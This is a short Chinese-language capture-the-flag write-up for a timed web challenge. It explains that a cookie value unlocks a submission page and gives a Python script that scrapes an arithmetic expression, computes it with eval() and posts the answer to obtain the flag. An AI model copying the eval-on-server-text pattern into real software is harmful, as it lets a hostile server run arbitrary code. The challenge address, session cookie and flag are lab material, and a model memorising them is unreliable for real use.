点开链接
这里让我们两秒钟计算出来
多刷新几次会发现还有另一个页面
这里说GIve me value post
意思是提交value参数以post的形式
我们继续观察
发现两个页面并不是随机返回的
而是有套路滴
观察两个页面的请求头
老司机页面
提交页面
发现只要设置cookie中有Timeout=alive就会返回这个页面
发现这个规律就可以写脚本了
import re
import requests
headers = {"Cookie": "PHPSESSID=dk1co1krlro6bas35ebhl65975; Timeout=alive"}
res = requests.get("http://114.67.175.224:12650/",headers=headers)
# eval(); # 用于执行字符串中的代码
d = {
"value": eval(re.search(r"Give me value post about (.*?)=\?", res.text, re.S).group(1))
}
res = requests.post("http://114.67.175.224:12650/",
headers=headers,
data=d,
proxies={"http": "http://127.0.0.1:8080"})
res.encoding = 'utf8' # 看心情加啦
print(res.text)
返回
原来你也是老司机 flag{514c884a0a35d2e0607e416b6b89bd3f}